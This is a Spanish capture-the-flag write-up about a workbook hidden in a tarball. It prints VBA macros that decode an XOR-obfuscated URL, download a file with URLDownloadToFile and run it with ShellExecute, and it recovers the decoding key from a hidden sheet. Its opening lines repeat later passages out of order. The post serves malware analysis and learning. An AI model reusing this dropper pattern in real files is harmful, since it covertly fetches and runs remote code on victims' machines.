El binario de este nivel era c300_f75bec6f545034716.tgz. Hay una copia disponible en hackerschool y los checksum concuerdan (md5:60f710ac26a148b3b915864483d1cb3a, sha1:42b1a776e4fb075879989b1a0258b6d1c996625a).
Parecia un tar.gz, pero mire que era por si acaso:
ok, revisamos el libro:
En las macros (Tools → Macros → Organize Macros → OpenOffice.org Basic) vemos algunas...
Lo que tienen en comun GF() y EX() es que usaran X() para decodificar los parametros que pasaran al api...
y quien es este CK?
Al regresar a oocalc, en la primera celda podemos evaluar CK usando:
=Data.AU2&Data.BE4866&Data.Z9550
y la clave que obtenemos resulta ser la clave del nivel: a23sd21AeB349sdfWewrfw29552 :)
Parecia un tar.gz, pero mire que era por si acaso:
rmolina@aghora ~ $ file c300_f75bec6f545034716.tgz c300_f75bec6f545034716.tgz: gzip compressed data, from Unix, last modified: Sat May 22 15:00:16 2010en efecto, un tarball, que desempaquetamos:
rmolina@aghora ~ $ tar zxvf c300_f75bec6f545034716.tgz c300_f75bec6f545034716.xlsobtenemos lo que parece ser un libro de ms-excel y verificamos:
rmolina@aghora ~ $ file c300_f75bec6f545034716.xls c300_f75bec6f545034716.xls: CDF V2 Document, Little Endian, Os: Windows, Version 5.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Jul 26 11:18:57 2006, Last Saved Time/Date: Wed May 26 19:41:29 2010, Security: 1lo que interesa es el 'Security: 1', por fortuna oocalc se salta la restricción, pero en Win resolver los pass de hojas de calculo o pass de proyectos vba tambien es trivial
ok, revisamos el libro:
rmolina@aghora ~ $ oocalc c300_f75bec6f545034716.xlsEn el listado de hojas solo vemos 'Asteroids' pero dice que el libro tiene dos hojas.
En las macros (Tools → Macros → Organize Macros → OpenOffice.org Basic) vemos algunas...
Private Sub GF() WL = X("5A470714081E6E15355D000A5D000223001C5C041E481647545F4F574B16") FL = X("51092F16535C6F003A56") RV = URLDownloadToFile(0, WL, FL, 0, 0) End SubGF() descargara desde una url un archivo con URLDownloadToFile...
Private Sub EX() Dim OF As String On Error Resume Next UP = X("51092F") OF = X("40521E4A574924") RV = ShellExecute(0, "open", OF, "", UP, 3) End SubEX() ejecutara un archivo con ShellExecute (se puede suponer que el descargado)...
Lo que tienen en comun GF() y EX() es que usaran X() para decodificar los parametros que pasaran al api...
Private Function X(DI As String) As String Dim CK, sDO As String Dim lDP, iXV1, iXV2 As Integer On Error Resume Next CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _ Worksheets("Data").Range("Z9550") For lDP = 1 To (Len(DI) / 2) iXV1 = Val("&H" & (Mid$(DI, (2 * lDP) - 1, 2))) iXV2 = Asc(Mid$(CK, ((lDP Mod Len(CK)) + 1), 1)) sDO = sDO + Chr(iXV1 Xor iXV2) Next lDP X = sDO End FunctionAl estudiar X(DI) vemos que decodifica la cadena DI, usando CK en el proceso...
y quien es este CK?
CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _ Worksheets("Data").Range("Z9550")Aqui vemos que la hoja que nos faltaba es Data y que CK se forma desde algunas celdas de esta hoja
Al regresar a oocalc, en la primera celda podemos evaluar CK usando:
=Data.AU2&Data.BE4866&Data.Z9550
y la clave que obtenemos resulta ser la clave del nivel: a23sd21AeB349sdfWewrfw29552 :)
Comentarios
Publicar un comentario